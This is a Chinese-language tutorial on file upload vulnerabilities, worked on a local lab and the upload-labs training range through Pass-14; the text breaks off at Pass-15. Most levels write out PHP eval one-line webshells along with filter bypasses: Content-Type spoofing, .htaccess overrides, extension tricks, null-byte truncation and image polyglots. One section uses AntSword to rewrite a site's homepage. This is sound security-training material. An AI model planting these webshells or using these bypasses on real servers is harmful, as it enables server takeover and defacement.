文件上传漏洞
- 一、文件上传漏洞概念
- 二、运行环境
- 三、直接上传木马
- 四、绕过文件检测的木马上传
- 五、upload-labs靶场实践
-
- 1、部署靶场
- [2、Pass-01 (JS绕过)](#2、Pass-01 (JS绕过))
- [3、Pass-02 (文件类型验证)](#3、Pass-02 (文件类型验证))
- [4、Pass-03 (黑名单验证)](#4、Pass-03 (黑名单验证))
- [5、Pass-04 (黑名单验证.htaccess)](#5、Pass-04 (黑名单验证.htaccess))
- [6、Pass-05 (大小写绕过)](#6、Pass-05 (大小写绕过))
- [7、Pass-06 (末尾空格)](#7、Pass-06 (末尾空格))
- [8、Pass-07 (增加一个.)](#8、Pass-07 (增加一个.))
- [9、Pass-08 (增加一个::DATA)](#9、Pass-08 (增加一个::DATA))
- [10、Pass-09 (代码不严谨)](#10、Pass-09 (代码不严谨))
- [11、Pass-10 (PPHPHP)](#11、Pass-10 (PPHPHP))
- [12、Pass-11 (0x00截断)](#12、Pass-11 (0x00截断))
- [13、Pass-12 (Post 0x00截断)](#13、Pass-12 (Post 0x00截断))
- [14、Pass-13 (图片木马)](#14、Pass-13 (图片木马))
- [15、Pass-14 (图片木马)](#15、Pass-14 (图片木马))
- [16、Pass-15 (图片木马)](#16、Pass-15 (图片木马))
- [17、Pass-16 (二次渲染绕过)](#17、Pass-16 (二次渲染绕过))
- 18、Pass-17(条件竞争)
- [19、Pass-18 (解析漏洞)](#19、Pass-18 (解析漏洞))
- [20、Pass-19 (黑名单)](#20、Pass-19 (黑名单))
- [21、Pass-20 (白名单)](#21、Pass-20 (白名单))
一、文件上传漏洞概念
1、什么是文件上传漏洞?
文件被上传时,服务器端脚本语言未给上传的文件做严格的验证和过滤,是可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器,这将带来恐怖的毁灭性灾难。
2、正常上传与恶意上传

对于恶意上传文件而已,这是利用Web应用对上传文件过滤不严的漏洞,将木马上传到Web服务器,从而获得了服务器权限。权限被拿到后,攻击者就可以对服务器中的参数、文件等信息进行读取、修改以及删除等操作。给服务商造成巨大损失。

3、文件上传漏洞高危触发点
① 存在文件上传功能的地方(Web端、移动端、PC端等)都有可能存在文件上传漏洞;例如相册,头像上传,视频、照片分析等。
② 论坛发帖和邮箱等可以上传附件的地方也是上传漏洞的高危地带。
③ 像文件管理器这样的功能也有可能被攻击者所利用。
二、运行环境
(1)环境一
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 中间件 | phpStudy 2018 |
| PHP版本 | 5.4.45 |
| Apache | 2.4 |

(2)环境二

| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 中间件 | phpStudy (PHP 5.2.17) |
说明: 此环境为upload-labs-env靶场专用,在使用该靶场时,请先关闭其它版本的phpstudy。无需MySQL支持。
三、直接上传木马
此部分主要是指在文件上传页面中并未对文件类型进行检测与过滤的情况下的实践。例如,在文件上传页面中,提示上传图片,但页面和后端校验中并未对文件类型进行判断,使得所上传的木马直接进入到了目标服务器中。接下来体验上传木马后的感觉如何?
1、上传页面配置
代码:
见头顶的zip包中的u1.php
部署位置:
bash
D:\phpStudy\PHPTutorial\WWW\up\u1.php
浏览器访问地址:
bash
http://127.0.0.1/up/u1.php

2、制作卧底并上传
(1)上传卧底1
Step1:编写a1.php作为卧底:
bash
<?php phpinfo(); ?>
Step2:在u1.php中将a1.php上传至服务器

卧底被上传后,存放在D:\phpStudy\PHPTutorial\WWW\up⽬录中。

Step3:利用卧底传递情报

(2)上传卧底2
Step1:编写a2.php作为卧底:
bash
<?php @eval($_POST[cmd]); ?>
Step2:在u1.php中将a2.php上传至服务器

Step3:利用卧底传递情报

通过在a2.php中写入了一句话木马,使得卧底a2.php将目标服务器的系统信息给泄露了。
3、利用蚁剑替换站点的首页
站点的首页位置:
bash
D:\phpStudy\PHPTutorial\WWW\up\index.php
Step1:打开蚁剑,并右击"添加数据"窗格

Step2:在"添加数据"窗格中配置相关数据 
说明:
① URL地址要与已经上传的一句话木马地址一致,即a2.php的地址。连接密码要与$_POST[]中所设的值一致,即"cmd"为连接密码。参数最终设置如下:
连接地址:http://127.0.0.1/up/a2.php
连接密码:cmd
连接类型:PHP
② 当参数配置完成后,点击"测试连接",在右下角显示"成功连接"。
③ 最后点击"添加"按钮即可成功添加。
Step3:双击新建的连接并进入

Step4:打开index.php的代码并修改其中的内容

说明: 位于D:\phpStudy\PHPTutorial\WWW\up\index.php的文件原来长什么样不重要,重要的是通过蚁剑能修改目标站点的主页面。当然,index.php文件也可以通过蚁剑上传并将其替换。
四、绕过文件检测的木马上传
1、上传页面配置
代码:
见头顶的zip包中的u2.php
部署位置:
bash
D:\phpStudy\PHPTutorial\WWW\up\u2.php
浏览器访问地址:
bash
http://127.0.0.1/up/u2.php


2、利用BurpSuite修改文件类型并成功上传
(1)准备工作"
Step1:编辑木马文件,将其更名为a3.jpg
bash
<?php @eval($_GET[value]); ?>
Step2:打开BurpSuite并给浏览器设置代理

(2)开始攻击
Step1:开启BurpSuite的拦截 
Step2:上传已经新建好的a3.jpg文件,并点击上传按钮

Step3:修改请求信息,先将a3.jpg改为a3.php,再连续点击几次"Forward"即可

此时查看文件,a3.php这个木马已成功上传!

Step4:利用a3.php查看目标主机的信息

五、upload-labs靶场实践
说明: 该靶场有20关的操作,通过20关后更能理解文件上传漏洞所具有的不同情况。upload-labs靶场自带phpstudy环境,建议先关闭已运行的其它版本的phpstudy。
1、部署靶场
Step1:下载靶场
bash
https://github.com/c0ny1/upload-labs/releases/download/0.1/upload-labs-env-win-0.1.7z
Step2:下载并解压upload-labs-env-win-0.1.7z,解压后的目录更名为upload-labs-env
bash
D:\upload-labs-env
Step3:打开phpStudy.exe,地址如下:
bash
D:\upload-labs-env\phpStudy.exe
Step4:单击"启动"按钮,并使得Apache的状态显示为绿色

2、Pass-01 (JS绕过)
访问地址:
bash
http://127.0.0.1/Pass-01/index.php
Step1:另存为页面为html
bash
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script><script src="upload-labs_files/inject.js"></script></body></html>
Step2:修改代码
bash
// 注释这一行
// if (allow_ext.indexOf(ext_name) == -1) {
// 改为
if (1 == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
bash
// 在form表单中新增一个 action="http://127.0.0.1/Pass-01/index.php"
<form enctype="multipart/form-data" method="post" action="http://127.0.0.1/Pass-01/index.php" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p>
<p>
<input class="input_file" name="upload_file" type="file">
<input class="button" name="submit" value="上传" type="submit">
</p>
</form>
Step3:准备一个info.php文件,用来上传
bash
<?php @eval($_GET[x]); ?>
Step4:上传info.php文件

上传成功后的画面:

目标主机的存储位置:
bash
D:\upload-labs-env\WWW\upload

Step5:复制图片的地址

已成功上传的图片,用地址映射为:
bash
http://127.0.0.1/upload/info.php
Step6:使用info.php获取目标主机信息
bash
http://127.0.0.1/upload/info.php?x=phpinfo();

3、Pass-02 (文件类型验证)
访问地址:
bash
http://127.0.0.1/Pass-02/index.php
尝试上传一个php文件,得到提示文件类型不正确

Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
// 文件类型支持jpeg、png、git
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
从源码中可以看到,文件类型支持jpeg、png、gif。
Step2:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step3:编辑2.php,并上传
bash
# 2.php代码
<?php @eval($_GET[x]); ?>
Step4:在中修改文件上传类型
bash
# 将application/octet-stream改为image/png
# 修改为如下内容
Content-Type: image/png
# 类型不仅可以使用png,也可以换成jpeg或gif,如下类型均可
Content-Type: image/jpeg
Content-Type: image/gif

Step5:成功上传后复制图片的地址

已成功上传的图片,用地址映射为:
bash
http://127.0.0.1/upload/2.php
Step6:使用2.php获取目标主机信息
bash
http://127.0.0.1/upload/2.php?x=phpinfo();

4、Pass-03 (黑名单验证)
访问地址:
bash
http://127.0.0.1/Pass-03/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
# 凡asp、aspx、php、jsp等文件无法被上传
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
从代码中可以看出,文件类型被做了过滤,无法将asp、aspx、php、jsp等文件类型的文件成功上传。
Step2:思考多种情况能否绕过
① 转换为大写(不可行)
② 在末尾添加一个点(不可行)
③ 末尾增加空格(不可行)
④ 将php改为phtml,php3
Step3:编辑3.php3,并上传
bash
# 3.php3
<?php @eval($_GET[x]); ?>
Step4:上传3.php3文件
Step5:成功上传后复制图片的地址

复制得到的图片地址:
bash
http://127.0.0.1/upload/202602151503027352.php3
Step6:获取目标主机信息
bash
http://127.0.0.1/upload/202602151503027352.php3?x=phpinfo();

5、Pass-04 (黑名单验证.htaccess)
访问地址:
bash
http://127.0.0.1/Pass-04/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
从源码中可以看出,此关已经将Pass-03的问题全部修复。
Step2:思考如何绕过?
使用.htaccess(超文本访问),许多Web服务器根据目录应用设置的有用文件,允许在运行时覆盖Apache服务器的默认配置。使用.htaccess,我们可以在运行时,轻松启用或禁用任何功能。
Step3:新建.htaccess文件,用于替换Apache默认的配置。
bash
<FilesMatch "loudong.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Step4:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step5:上传.htaccess文件,并得到图片地址
bash
http://127.0.0.1/upload/.htaccess
Step6:上传loudong.jpg文件,并得到图片地址
bash
http://127.0.0.1/upload/loudong.jpg
Step7:获取目标主机信息
bash
http://127.0.0.1/upload/loudong.jpg?x=phpinfo();

6、Pass-05 (大小写绕过)
访问地址:
bash
http://127.0.0.1/Pass-05/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码里面没有验证大写,可以把文件名变成大写。
Step2:新建代码,并将其更名为5.PHP
bash
# 5.PHP
<?php @eval($_GET[x]); ?>
Step3:上传5.PHP文件

Step4:上传5.PHP文件,并得到图片地址
bash
http://127.0.0.1/upload/202602151603204166.PHP
Step5:获取目标主机信息
bash
http://127.0.0.1/upload/202602151603204166.PHP?x=phpinfo();

7、Pass-06 (末尾空格)
访问地址:
bash
http://127.0.0.1/Pass-06/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码中并没有首尾去除空格的处理,可以配合BurpSuite进行处理。当然与上一个(第六个)相比减少了首尾去空格的处理。
Step2:新建代码,并将其更名为6.php
bash
# 6.php
<?php @eval($_GET[x]); ?>
Step3:上传6.php文件
Step4:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step5:修改请求内容

Step6:复制图片地址
bash
http://127.0.0.1/upload/202602151615017654.php
Step7:获取目标主机信息
bash
http://127.0.0.1/upload/202602151615017654.php?x=phpinfo();
8、Pass-07 (增加一个.)
访问地址:
bash
http://127.0.0.1/Pass-07/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码中与上一个(第七个)相比减少了删除末尾的点的处理。
Step2:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求内容

Step5:复制图片地址
bash
http://127.0.0.1/upload/7.php.
Step6:获取目标主机信息
bash
http://127.0.0.1/upload/7.php.?x=phpinfo();
9、Pass-08 (增加一个::$DATA)
访问地址:
bash
http://127.0.0.1/Pass-08/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
在window的时候,如果文件名+"::DATA"会把::DATA之后的数据,当成⽂件流处理,不会检测后缀名,且保持::DATA之前的文件名,他的目的是不检查后缀名。例如:"phpinfo.php::DATA" Windows会自动去掉末尾的::DATA变成"phpinfo.php" 。而代码中没有::$DATA的验证。
Step2:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求内容

Step5:复制图片地址
bash
http://127.0.0.1/upload/202602151656362610.php::$data
Step6:获取目标主机信息
bash
# 在访问时,先将::$data给删除
http://127.0.0.1/upload/202602151656362610.php?x=phpinfo();
10、Pass-09 (代码不严谨)
访问地址:
bash
http://127.0.0.1/Pass-09/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Step2:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求内容

将filename设为loudong.php. .,注意"loudong.php. ."末尾两点之间有空格。
Step5:复制图片地址
bash
http://127.0.0.1/upload/loudong.php.
Step6:获取目标主机信息
bash
http://127.0.0.1/upload/loudong.php.?x=phpinfo();
11、Pass-10 (PPHPHP)
访问地址:
bash
http://127.0.0.1/Pass-10/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
str_ireplace函数,用于字符串替换操作,不区分大小写:
其语法是str_ireplace(find,replace,string,count)
参数find必需,规定要查找的值;
参数replace必需,规定替换find中的值;
参数string必需,规定被搜索的字符串。
bash
<?php
// 只要是array⾥⾯的(php,php5,php4,php3 ...)全部都会被替换空
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml", "pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asa x","ascx","ashx","asmx","cer","swf","htaccess");
// 如果是这样写,就没法替换了,info.pphphp【从左往右替换p、php被替换空最终留下hp】
$file_name = str_ireplace($deny_ext, "", "info.pphphp");
echo $file_name;
?>
Step2:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求内容

Step5:复制图片地址
bash
http://127.0.0.1/upload/loudong.PHP
Step6:获取目标主机信息
bash
http://127.0.0.1/upload/loudong.PHP?x=phpinfo();
12、Pass-11 (0x00截断)
访问地址:
bash
http://127.0.0.1/Pass-11/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
bash
// save_path是⼀个可控的变量,但是 后⾯还拼接 上⼀个后缀名,也需要绕过
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$_GET['save_path']表示参数可控
rand(10, 99).date("YmdHis")表示名称会被完全重命名
0x00截断原理:
00截断是操作系统层的漏洞,由于操作系统是C语⾔或汇编语⾔编写的,这两种语⾔在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了⼀个字符串的结束符号。因此,我们可以通过修改数据包,插⼊\0字符的⽅式,达到字符串截断的⽬的。
举例说明:
①正常情况
bash
save_path=../upload/
# 得到的结果可能为:
../upload/loudong.jpg
②使用BurpSuite截包后的篡改
bash
save_path=../upload/1.php%00
# 拼接的路径为:
../upload/1.php%00loudong.jpg
# 由于 %00 当作结尾,故最终保存的⽂件为:
../upload/1.php
Step2:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求内容

Step5:复制图片地址
bash
http://127.0.0.1/upload/11.php%EF%BF%BD/2120260215192612.jpg
Step6:获取目标主机信息
bash
# 在访问时,先将%EF%BF%BD给删除
http://127.0.0.1/upload/11.php/2120260215192612.jpg?x=phpinfo();
13、Pass-12 (Post 0x00截断)
访问地址:
bash
http://127.0.0.1/Pass-12/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
说明: 与上一关相比,GET型提交的内容会被自动进行URL解码,在POST请求中,%00不会被自动解码。
Step2:新建代码,并将其更名为loudong.jpg
bash
# loudong.jpg
<?php @eval($_GET[x]); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求内容

图片第"1"处,默认为.../upload,需要将其改为.../upload/12.php%00,并将其选中进行图片第"2"处的操作。
Step5:复制图片地址
bash
http://127.0.0.1/upload/12.php%EF%BF%BD/6620260215194434.jpg
Step6:获取目标主机信息
bash
# 在访问时,先将%EF%BF%BD给删除
http://127.0.0.1/upload/12.php/6620260215194434.jpg?x=phpinfo();
14、Pass-13 (图片木马)
访问地址:
bash
http://127.0.0.1/Pass-13/index.php
Step1:查看上传文件的源码
bash
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
图片的本文预览如下:

本关会验证上传内容,确认是图⽚格式。因为在本关的代码中会验证文件的开头两个字节是否存在图片标识,否则将无法上传图片。
Step2:新建代码,并将其更名为13.php
bash
# 13.php
<?php phpinfo(); ?>
Step3:随机准备一张PNG图片
Step4:合并php与png图片为新的"图片"文件,操作如下:
bash
D:\test>dir
驱动器 D 中的卷是 Soft
卷的序列号是 0C5C-C259
D:\test 的目录
2026/02/15 20:29 <DIR> .
2026/02/15 20:29 <DIR> ..
2026/02/15 10:22 26 13.php
2026/02/15 20:24 3,086,185 IMG.png
2 个文件 3,086,211 字节
2 个目录 32,631,599,104 可用字节
D:\test>copy IMG.png /b + 13.php /a webshell.png
IMG.png
13.php
已复制 1 个文件。
D:\test>dir
驱动器 D 中的卷是 Soft
卷的序列号是 0C5C-C259
D:\test 的目录
2026/02/15 20:30 <DIR> .
2026/02/15 20:30 <DIR> ..
2026/02/15 10:22 26 13.php
2026/02/15 20:24 3,086,185 IMG.png
2026/02/15 20:30 3,086,212 webshell.png
3 个文件 6,172,423 字节
2 个目录 32,625,410,048 可用字节
Step5:上传刚刚合并的"图片"文件
Step6:复制图片地址
bash
http://127.0.0.1/upload/1220260215211749.png
Step7:获取目标主机信息
bash
http://127.0.0.1/include.php?file=upload/1220260215211749.png

注意: 不是所有图片都能成功,部分图片包含木马后,include.php可能会解读出语法错误的问题,需要更换成其它图片。
15、Pass-14 (图片木马)
访问地址:
bash
http://127.0.0.1/Pass-14/index.php
Step1:查看上传文件的源码
bash
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
getimagesize() 函数:用于获取图像大小及相关信息,成功返回⼀个数组,失败则返回FALSE并产生⼀条E_WARNING级的错误信息。
备注:后续步骤与13关的"图片木马"操作类似。
16、Pass-15 (图片木马)
访问地址:
bash
http://127.0.0.1/Pass-15/index.php
Step1:查看上传文件的源码
bash
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
